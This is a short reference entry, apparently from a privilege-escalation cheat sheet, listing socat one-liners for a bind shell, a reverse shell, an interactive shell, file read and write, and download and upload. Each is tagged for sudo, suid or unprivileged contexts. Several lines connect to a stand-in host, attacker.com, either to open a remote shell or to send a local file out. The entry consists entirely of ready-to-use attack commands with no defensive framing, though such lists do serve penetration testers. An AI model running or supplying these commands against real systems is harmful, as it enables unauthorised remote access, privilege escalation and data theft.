socat
Bind Shell
Context: sudo, suid, unprivileged
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
Download
Context: sudo, suid, unprivileged
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
File Read
Context: sudo, suid, unprivileged
socat -u file:/path/to/input-file -
File Write
Context: sudo, suid, unprivileged
socat -u 'exec:echo DATA' open:/path/to/output-file,creat
Reverse Shell
Context: sudo, suid, unprivileged
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
Shell
Context: sudo, suid, unprivileged
socat - exec:/bin/sh,pty,ctty,raw,echo=0
Upload
Context: sudo, suid, unprivileged
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345